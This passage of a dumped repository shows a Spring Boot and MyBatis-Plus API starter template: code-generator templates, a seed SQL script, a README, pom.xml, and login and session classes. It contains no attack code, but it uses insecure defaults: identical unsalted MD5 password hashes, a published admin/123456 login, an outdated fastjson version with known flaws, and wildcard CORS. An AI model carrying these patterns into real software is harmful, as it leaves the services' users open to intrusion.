    "content": "package com.company.project;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n/**\n * 单元测试\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = Application.class)\npublic class Tester {\n\n    @Test\n    public void test() {\n\n    }\n}\n\n\n\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/test/resources/templates/controller.java.ftl",
    "content": "package ${package.Controller};\n\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultGenerator;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport org.springframework.web.bind.annotation.*;\nimport ${package.Service}.${table.serviceName};\nimport ${package.Entity}.${entity};\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\n\nimport javax.annotation.Resource;\n<#if restControllerStyle>\nimport org.springframework.web.bind.annotation.RestController;\n<#else>\nimport org.springframework.stereotype.Controller;\n</#if>\n<#if superControllerClassPackage??>\nimport ${superControllerClassPackage};\n</#if>\n\n/**\n * <p>\n * ${table.comment!} 前端控制器\n * </p>\n *\n * @author ${author}\n * @since ${date}\n */\n<#if restControllerStyle>\n@Api(tags = {\"${table.comment!}\"})\n@Slf4j\n@RestController\n<#else>\n@Controller\n</#if>\n@RequestMapping(\"<#if package.ModuleName??>/${package.ModuleName}</#if>/<#if controllerMappingHyphenStyle??>${controllerMappingHyphen}<#else>${table.entityPath}</#if>\")\n<#if kotlin>\nclass ${table.controllerName}<#if superControllerClass??>:${superControllerClass}()</#if>\n<#else>\n<#if superControllerClass??>public class ${table.controllerName} extends ${superControllerClass}{\n<#else>public class ${table.controllerName} {\n</#if>\n\n    @Resource\n    private ${table.serviceName} ${(table.serviceName?substring(1))?uncap_first};\n\n\n    @ApiOperation(value = \"新增${table.comment!}\")\n    @PostMapping(\"add\")\n    public Result add(@RequestBody ${entity} ${entity?uncap_first}){\n        ${(table.serviceName?substring(1))?uncap_first}.save(${entity?uncap_first});\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"删除${table.comment!}\")\n    @PostMapping(\"delete/{id}\")\n    public Result delete(@PathVariable(\"id\") Long id){\n        ${(table.serviceName?substring(1))?uncap_first}.removeById(id);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"更新${table.comment!}\")\n    @PostMapping(\"update\")\n    public Result update(@RequestBody ${entity} ${entity?uncap_first}){\n        ${(table.serviceName?substring(1))?uncap_first}.updateById(${entity?uncap_first});\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"查询${table.comment!}分页数据\")\n    @ApiImplicitParams({\n        @ApiImplicitParam(name = \"currentPage\", value = \"页码\"),\n        @ApiImplicitParam(name = \"pageCount\", value = \"每页条数\")\n    })\n    @GetMapping(\"listByPage\")\n    public Result findListByPage(@RequestParam Integer currentPage,\n                                   @RequestParam Integer pageCount){\n        Page page = new Page(currentPage, pageCount);\n        IPage<${entity}> iPage = ${(table.serviceName?substring(1))?uncap_first}.page(page);\n        return ResultGenerator.genSuccessResult(iPage);\n    }\n\n    @ApiOperation(value = \"id查询${table.comment!}\")\n    @GetMapping(\"getById/{id}\")\n    public Result findById(@PathVariable Long id){\n        return ResultGenerator.genSuccessResult(${(table.serviceName?substring(1))?uncap_first}.getById(id));\n    }\n\n}\n</#if>"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/test/resources/user.sql",
    "content": "/*\n Navicat Premium Data Transfer\n\n Source Server         : localhost\n Source Server Type    : MySQL\n Source Server Version : 50529\n Source Host           : localhost:3306\n Source Schema         : project\n\n Target Server Type    : MySQL\n Target Server Version : 50529\n File Encoding         : 65001\n\n Date: 08/01/2020 15:53:02\n*/\n\nSET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS = 0;\n\n-- ----------------------------\n-- Table structure for user\n-- ----------------------------\nDROP TABLE IF EXISTS `user`;\nCREATE TABLE `user`  (\n  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',\n  `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '用户名',\n  `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '密码',\n  `nick_name` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '昵称',\n  `sex` int(1) NULL DEFAULT NULL COMMENT '性别',\n  `create_date` datetime NULL DEFAULT NULL COMMENT '创建时间',\n  `create_user` int(11) NULL DEFAULT NULL COMMENT '创建人',\n  `update_date` datetime NULL DEFAULT NULL COMMENT '修改时间',\n  `update_user` int(11) NULL DEFAULT NULL COMMENT '修改人',\n  `del_flag` int(1) NULL DEFAULT 0 COMMENT '删除标志0未删 1删除',\n  PRIMARY KEY (`id`) USING BTREE\n) ENGINE = InnoDB AUTO_INCREMENT = 11 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;\n\n-- ----------------------------\n-- Records of user\n-- ----------------------------\nINSERT INTO `user` VALUES (1, 'admin', '9dc818b4bca3baa7d230fbf96c919638', '土豆', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (2, '2@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-2', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (3, '3@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-3', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (4, '4@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-4', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (5, '5@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-5', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (6, '6@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-6', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (7, '7@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-7', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (8, '8@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-8', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (9, '9@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-9', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (10, '10@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-10', 1, NULL, NULL, NULL, NULL, 0);\n\nSET FOREIGN_KEY_CHECKS = 1;\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/README.md",
    "content": "## 简介\nSpring Boot API 是一个基于Spring Boot & MyBatis plus的种子项目，用于快速构建中小型API项目，特点稳定、简单、快速，摆脱那些重复劳动\n\n## 特征&提供\n- 统一响应结果封装及生成工具\n- 统一异常处理\n- 采用redis token认证，支持单登陆端/多登陆端登陆\n- 使用Druid Spring Boot Starter 集成Druid数据库连接池与监控\n- 集成MyBatis-Plus，实现单表业务零SQL\n- 支持多数据源，自由切换，只需方法或类上用 @DS 切换数据源\n- 集成国人风格的knife4j，自动生成接口文档\n- 提供代码生成器，生成controller,service,serviceImpl,dao,mapper.xml\n\n## 快速开始\n1. 克隆项目\n2. 导入```test```包里的mysql脚本user.sql\n3. 对```test```包内的代码生成器```CodeGenerator```进行配置，主要是JDBC，因为要根据表名来生成代码\n4. 输入表名，运行```CodeGenerator.main()```方法，生成基础代码（可能需要刷新项目目录才会出来）\n5. 根据业务在基础代码上进行扩展\n6. 对开发环境配置文件```application-dev.yml```进行配置，启动项目，Have Fun！\n\n## 开发建议\n- post调用接口ip:8080/api/user/login,参数json: {\"username\":\"admin\",\"password\":\"123456\"},调用成功后, 返回token。以后调用api接口，header中传token\n- 已写好注册、登陆、登出、修改密码接口， 支持单登陆端/多登陆端登陆， 具体看UserController.java 类。用户登陆之后获取session信息 JSONObject sessionInfo = httpSession.getCurrentSession();\n- 正式环境已禁用接口文档的查看，配置文件添加knife4j:production: true 即可\n- 是否允许多个登陆端，修改配置文件 redis:allowMultipleLogin:true \n- Model内成员变量建议与表字段数量对应，如需扩展成员变量（比如连表查询）建议创建DTO，否则需在扩展的成员变量上加@TableField(exist = false)，详见[MyBatis-Plus](https://mp.baomidou.com/guide/)文档说明\n- 建议业务失败直接使用ServiceException(\"ErrorMessage\")抛出，由统一异常处理器来封装业务失败的响应结果，会直接被封装为{\"code\":400,\"message\":\"ErrorMessage\"}返回，尽情抛出；body方式传参，@Valid校验Model，更无需自己处理；\n\n## 接口文档效果图\nhttp://192.168.0.12:8080/api/user/login\n\n{\"username\":\"admin\",\"password\":\"123456\"}\n\n{\n    \"code\": 200,\n    \"message\": \"SUCCESS\",\n    \"data\": {\n        \"token\": \"21C1ITp0c9973707PR9Do4Q1W18R5904#1\",\n        \"username\": \"admin\"\n    },\n    \"success\": true\n}\n\n![image-20200313084433855](http://tuchuang.aitangbao.com.cn/image-20200313084433855.png)\n\n## 相关文档\n- Spring Boot（[springboot官方](https://spring.io/projects/spring-boot/)）\n- MyBatis-Plus ([查看官方中文文档](https://mp.baomidou.com/guide/))\n- MyBatis-Plus分页插件（[查看官方中文文档](https://mp.baomidou.com/guide/page.html)）\n- Druid Spring Boot Starter（[查看官方中文文档](https://github.com/alibaba/druid/tree/master/druid-spring-boot-starter/)）\n- Fastjson（[查看官方中文文档](https://github.com/Alibaba/fastjson/wiki/%E9%A6%96%E9%A1%B5)）\n- 阿里巴巴Java开发手册[最新版下载](https://github.com/alibaba/p3c)\n其他\n\n## License\n纯粹开源分享，感谢大家 [Star](https://github.com/aitangbao/springboot-api-v2) 的支持。\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.company.project</groupId>\n    <artifactId>springboot_api_simple</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <mybatis-plus.version>3.5.5</mybatis-plus.version>\n    </properties>\n\n    <!-- Inherit defaults from Spring Boot -->\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.2.2.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n\n    <dependencies>\n        <!--<dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>jun-common-base</artifactId>\n        </dependency>-->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.30</version>\n        </dependency>\n        <!--Spring Boot依赖-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n        </dependency>\n        <!--redis依赖配置-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-redis</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <!--MyBatis 及 插件依赖-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>dynamic-datasource-spring-boot-starter</artifactId>\n            <version>2.5.5</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-generator</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.10</version>\n            <scope>provided</scope>\n        </dependency>\n\n\n        <!--常用库依赖-->\n        <dependency>\n            <groupId>commons-codec</groupId>\n            <artifactId>commons-codec</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.6</version>\n        </dependency>\n        <!--MySQL JDBC驱动-->\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <scope>runtime</scope>\n        </dependency>\n\n        <!--阿里 FastJson依赖-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.47</version>\n        </dependency>\n        <!--阿里 Druid Spring Boot Starter依赖-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid-spring-boot-starter</artifactId>\n            <version>1.1.10</version>\n        </dependency>\n        <!--代码生成器依赖-->\n        <dependency>\n            <groupId>org.freemarker</groupId>\n            <artifactId>freemarker</artifactId>\n            <version>2.3.30</version>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.github.xiaoymin</groupId>\n            <artifactId>knife4j-spring-boot-starter</artifactId>\n            <version>2.0.2</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <!--<plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>-->\n            <!--<plugin>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>${java.version}</source>\n                    <target>${java.version}</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>-->\n        </plugins>\n    </build>\n\n    <repositories>\n        <repository>\n            <id>aliyun-repos</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </repository>\n    </repositories>\n\n    <pluginRepositories>\n        <pluginRepository>\n            <id>aliyun-plugin</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </pluginRepository>\n    </pluginRepositories>\n\n</project>"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/company/project/Application.java",
    "content": "package com.company.project;\n\nimport com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.core.env.Environment;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\nimport java.net.InetAddress;\n\n@SpringBootApplication(exclude = DruidDataSourceAutoConfigure.class)\n@MapperScan(\"com.company.project.dao\")\npublic class Application {\n\n    private static Logger logger= LoggerFactory.getLogger(Application.class);\n\n    public static void main(String[] args) throws Exception {\n\n        ConfigurableApplicationContext application = SpringApplication.run(Application.class, args);\n\n        Environment env = application.getEnvironment();\n        logger.info(\"\\n----------------------------------------------------------\\n\\t\" +\n                        \"Application '{}' is running! Access URLs:\\n\\t\" +\n                        \"Local: \\t\\thttp://localhost:{}\\n\\t\" +\n                        \"External: \\thttp://{}:{}\\n\\t\" +\n                        \"Doc: \\thttp://{}:{}/doc.html\\n\\t\" +\n                        \"Login: \\thttp://{}:{}/api/user/login\\n\" +\n                        \"----------------------------------------------------------\",\n                env.getProperty(\"spring.application.name\"),\n                env.getProperty(\"server.port\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"));\n    }\n}\n\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/company/project/config/LoginInterceptor.java",
    "content": "package com.company.project.config;\n\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\nimport com.company.project.core.ResultCode;\nimport com.company.project.core.HttpSessionService;\nimport com.jun.plugin.common.Result;\nimport org.apache.commons.lang3.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.servlet.handler.HandlerInterceptorAdapter;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport java.io.IOException;\n\n/**\n * @since 2019/10/30 15:29\n * <p>登陆拦截器\n */\npublic class LoginInterceptor extends HandlerInterceptorAdapter {\n\n    @Autowired\n    private HttpSessionService httpSession;\n\n    private final Logger logger = LoggerFactory.getLogger(WebMvcConfigurer.class);\n\n    @Override\n    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n        //用户当前session信息\n        JSONObject currentSession;\n        //拦截接口\n        //从header中获取token\n        String token = request.getHeader(\"token\");\n        //如果header中不存在token，则从参数中获取token\n        if (StringUtils.isBlank(token)) {\n            token = request.getParameter(\"token\");\n        }\n        //token为空返回\n        if (StringUtils.isBlank(token)) {\n            Result result = new Result(ResultCode.UNAUTHORIZED.code(), \"token不能为空\").put(\"success\",false);\n            responseResult(response, result);\n            return false;\n        }//  校验并解析token，如果token过期或者篡改，则会返回null\n        currentSession = httpSession.getCurrentSession();\n        if (null != currentSession) {\n            return true;\n        } else {\n            Result result = new Result(ResultCode.UNAUTHORIZED.code(), \"用户未登陆!\").put(\"success\",false);\n            responseResult(response, result);\n            return false;\n        }\n    }\n\n\n    private void responseResult(HttpServletResponse response, Result result) {\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-type\", \"application/json;charset=UTF-8\");\n        try {\n            response.getWriter().write(JSON.toJSONString(result));\n        } catch (IOException ex) {\n            logger.error(ex.getMessage());\n        }\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/company/project/config/MyBatisPlusConfig.java",
    "content": "package com.company.project.config;\n\nimport com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * @ClassName MyBatisPlusConfig\n * @Version 1.0\n **/\n@Configuration\npublic class MyBatisPlusConfig {\n    /**\n     * 配置mybatis-plus 分页查件\n     * @return\n     */\n    @Bean\n    public PaginationInnerInterceptor  paginationInterceptor() {\n        PaginationInnerInterceptor paginationInterceptor = new PaginationInnerInterceptor();\n        return paginationInterceptor;\n    }\n}"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/company/project/config/SwaggerConfiguration.java",
    "content": "package com.company.project.config;\n\nimport com.github.xiaoymin.knife4j.spring.annotations.EnableKnife4j;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Import;\nimport springfox.bean.validators.configuration.BeanValidatorPluginsConfiguration;\nimport springfox.documentation.builders.ApiInfoBuilder;\nimport springfox.documentation.builders.PathSelectors;\nimport springfox.documentation.builders.RequestHandlerSelectors;\nimport springfox.documentation.service.ApiInfo;\nimport springfox.documentation.spi.DocumentationType;\nimport springfox.documentation.spring.web.plugins.Docket;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\n@Configuration\n@EnableSwagger2\n@EnableKnife4j\n@Import(BeanValidatorPluginsConfiguration.class)\npublic class SwaggerConfiguration {\n\n    @Bean\n    public Docket createRestApi() {\n        return new Docket(DocumentationType.SWAGGER_2)\n                .apiInfo(apiInfo())\n                .select()\n                .apis(RequestHandlerSelectors.basePackage(\"com.company.project.web\"))\n                .paths(PathSelectors.any())\n                .build();\n    }\n\n    private ApiInfo apiInfo() {\n        return new ApiInfoBuilder()\n                .title(\"Springboot-api APIs\")\n                .description(\"Springboot-api APIs\")\n                .termsOfServiceUrl(\"http://localhost:8080/\")\n                .contact(\"xxxxxxxxxx@163.com\")\n                .version(\"1.0\")\n                .build();\n    }\n}"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/company/project/config/WebMvcConfigurer.java",
    "content": "package com.company.project.config;\n\nimport java.io.IOException;\nimport java.nio.charset.Charset;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.serializer.SerializerFeature;\nimport com.alibaba.fastjson.support.config.FastJsonConfig;\nimport com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter;\n\nimport com.company.project.core.ResultCode;\nimport com.jun.plugin.common.Result;\nimport com.jun.plugin.common.exception.BusinessException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.converter.HttpMessageConverter;\nimport org.springframework.web.bind.MethodArgumentNotValidException;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.method.HandlerMethod;\nimport org.springframework.web.servlet.HandlerExceptionResolver;\nimport org.springframework.web.servlet.ModelAndView;\nimport org.springframework.web.servlet.NoHandlerFoundException;\nimport org.springframework.web.servlet.config.annotation.*;\n\n/**\n * Spring MVC 配置\n */\n@Configuration\npublic class WebMvcConfigurer extends WebMvcConfigurerAdapter {\n\n    private final Logger logger = LoggerFactory.getLogger(WebMvcConfigurer.class);\n\n    @Bean\n    LoginInterceptor loginInterceptor() {\n\n        return new LoginInterceptor();\n    }\n\n\n    //使用阿里 FastJson 作为JSON MessageConverter\n    @Override\n    public void configureMessageConverters(List<HttpMessageConverter<?>> converters) {\n        FastJsonHttpMessageConverter converter = new FastJsonHttpMessageConverter();\n        FastJsonConfig config = new FastJsonConfig();\n        config.setSerializerFeatures(SerializerFeature.WriteMapNullValue);//保留空的字段\n        //SerializerFeature.WriteNullStringAsEmpty,//String null -> \"\"\n        //SerializerFeature.WriteNullNumberAsZero//Number null -> 0\n        // 按需配置，更多参考FastJson文档哈\n\n        converter.setFastJsonConfig(config);\n        converter.setDefaultCharset(Charset.forName(\"UTF-8\"));\n        converter.setSupportedMediaTypes(Arrays.asList(MediaType.APPLICATION_JSON_UTF8));\n        converters.add(converter);\n    }\n\n\n    //统一异常处理\n    @Override\n    public void configureHandlerExceptionResolvers(List<HandlerExceptionResolver> exceptionResolvers) {\n        exceptionResolvers.add(new HandlerExceptionResolver() {\n            public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception e) {\n                Result result = new Result();\n                if (e instanceof BusinessException) {//业务失败的异常，如“账号或密码错误”\n                    result = Result.error(ResultCode.FAIL.code(), e.getMessage()).setSuccess(false);\n                } else if (e instanceof MethodArgumentNotValidException) {//@valid注解验证参数\n                    MethodArgumentNotValidException m = (MethodArgumentNotValidException) e;\n                    m.getBindingResult().getFieldError().getDefaultMessage();\n                    result = Result.error(ResultCode.PARAM_FAIL.code(), e.getMessage()).setSuccess(false);\n                } else if (e instanceof NoHandlerFoundException) {\n                    result = Result.error(ResultCode.NOT_FOUND.code(), \"接口 [\" + request.getRequestURI() + \"] 不存在\").setSuccess(false);\n\n                } else if (e instanceof ServletException) {\n                    result = Result.error(ResultCode.FAIL.code(), e.getMessage()).setSuccess(false);\n                } else {\n                    result = Result.error(ResultCode.INTERNAL_SERVER_ERROR.code(), \"接口 [\" + request.getRequestURI() + \"] 内部错误，请联系管理员\").setSuccess(false);\n                    String message;\n                    if (handler instanceof HandlerMethod) {\n                        HandlerMethod handlerMethod = (HandlerMethod) handler;\n                        message = String.format(\"接口 [%s] 出现异常，方法：%s.%s，异常摘要：%s\",\n                                request.getRequestURI(),\n                                handlerMethod.getBean().getClass().getName(),\n                                handlerMethod.getMethod().getName(),\n                                e.getMessage());\n                    } else {\n                        message = e.getMessage();\n                    }\n                    logger.error(message, e);\n                }\n                responseResult(response, result);\n                return new ModelAndView();\n            }\n\n        });\n    }\n\n    @ExceptionHandler(MethodArgumentNotValidException.class)\n    public Result handleMethodArgumentNotValidException(MethodArgumentNotValidException e) {\n        return Result.fail(e.getBindingResult().getFieldError().getDefaultMessage());\n    }\n\n    /**\n     * 页面跨域访问Controller过滤\n     *\n     * @return\n     */\n    @Override\n    public void addCorsMappings(CorsRegistry registry) {\n        WebMvcConfigurer.super.addCorsMappings(registry);\n        registry.addMapping(\"/**\")\n                .allowedHeaders(\"*\")\n                .allowedMethods(\"POST\", \"GET\")\n                .allowedOrigins(\"*\");\n    }\n\n    //添加拦截器\n    @Override\n    public void addInterceptors(InterceptorRegistry registry) {\n        registry.addInterceptor(loginInterceptor())\n                .excludePathPatterns(\"/doc.html\")\n                .excludePathPatterns(\"/swagger-resources/**\")\n                .excludePathPatterns(\"/error\")\n                .excludePathPatterns(\"/webjars/**\")\n                .excludePathPatterns(\"/api/user/login\")\n                .excludePathPatterns(\"/api/user/register\")\n                .addPathPatterns(\"/**\");\n    }\n\n\n    private void responseResult(HttpServletResponse response, Result result) {\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-type\", \"application/json;charset=UTF-8\");\n        try {\n            response.getWriter().write(JSON.toJSONString(result));\n        } catch (IOException ex) {\n            logger.error(ex.getMessage());\n        }\n    }\n\n    /**\n     * 发现如果继承了WebMvcConfigurationSupport，则在yml中配置的相关内容会失效。 需要重新指定静态资源\n     *\n     * @param registry\n     */\n    @Override\n    public void addResourceHandlers(ResourceHandlerRegistry registry) {\n        registry.addResourceHandler(\"/**\").addResourceLocations(\n                \"classpath:/static/\");\n        registry.addResourceHandler(\"doc.html\").addResourceLocations(\n                \"classpath:/META-INF/resources/\");\n        registry.addResourceHandler(\"/webjars/**\").addResourceLocations(\n                \"classpath:/META-INF/resources/webjars/\");\n        super.addResourceHandlers(registry);\n    }\n\n\n    /**\n     * 配置servlet处理\n     */\n    @Override\n    public void configureDefaultServletHandling(\n            DefaultServletHandlerConfigurer configurer) {\n        configurer.enable();\n    }\n\n\n}\n\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/java/com/company/project/core/HttpSessionService.java",
    "content": "package com.company.project.core;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\nimport com.company.project.model.User;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Service;\n\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.Random;\n\n/**\n * session管理器\n *\n * @author aitangbao\n */\n@Service\npublic class HttpSessionService {\n\n    @Autowired\n    private RedisService redisDB;\n\n    @Autowired\n    private HttpServletRequest request;\n\n    @Value(\"${redis.key.prefix.userToken}\")\n    private String USER_TOKEN_PREFIX;\n\n    @Value(\"${redis.key.expire.userToken}\")\n    private int EXPIRE ;\n\n    public String createTokenAndUser(User user) {\n        //方便根据id找到redis的key， 修改密码/退出登陆 方便使用\n        String token = getRandomToken(32) + \"#\" + user.getId();\n        JSONObject sessionInfo = new JSONObject();\n        sessionInfo.put(\"userId\", user.getId());\n        sessionInfo.put(\"username\", user.getUsername());\n        String key = USER_TOKEN_PREFIX + token;\n        //设置该用户已登录的token\n        redisDB.setAndExpire(key, sessionInfo.toJSONString(), EXPIRE);\n        return token;\n    }\n\n    /**\n     * 根据token获取userid\n     *\n     * @param token\n     * @return\n     */\n    public static String getUserIdByToken(String token) {\n        if (StringUtils.isBlank(token) || !token.contains(\"#\")) {\n            return \"\";\n        } else {\n            return token.substring(token.indexOf(\"#\") + 1);\n        }\n    }\n\n    /**\n     * 获取参数中的token\n     *\n     * @return\n     */\n    public String getTokenFromHeader() {\n        String token = request.getHeader(\"token\");\n        //如果header中不存在token，则从参数中获取token\n        if (StringUtils.isBlank(token)) {\n            token = request.getParameter(\"token\");\n        }\n        return token;\n    }\n\n    /**\n     * 获取当前session信息\n     *\n     * @return\n     */\n    public JSONObject getCurrentSession() {\n        String token = getTokenFromHeader();\n        if (null != token) {\n            if (redisDB.exists(USER_TOKEN_PREFIX + token)) {\n                String sessionInfoStr = redisDB.get(USER_TOKEN_PREFIX + token);\n                JSONObject sessionInfo = JSON.parseObject(sessionInfoStr);\n                return sessionInfo;\n            } else {\n                return null;\n            }\n        } else {\n            return null;\n        }\n    }\n\n\n    /**\n     * 使当前用户的token失效\n     */\n    public void abortUserByToken() {\n        String token = getTokenFromHeader();\n        redisDB.del(USER_TOKEN_PREFIX + token);\n    }\n\n    /**\n     * 使所有用户的token失效\n     */\n    public void abortAllUserByToken() {\n        String token = getTokenFromHeader();\n        String userId = getUserIdByToken(token);\n        redisDB.delKeys(USER_TOKEN_PREFIX+\"*#\" + userId);\n    }\n\n    /**\n     * 使用户的token失效\n     */\n    public void abortUserByUserId(Integer userId) {\n        redisDB.delKeys(USER_TOKEN_PREFIX+\"*#\" + userId);\n    }\n\n\n    /**\n     * 生成随机的token\n     *\n     * @param length\n     * @return\n     */\n    private String 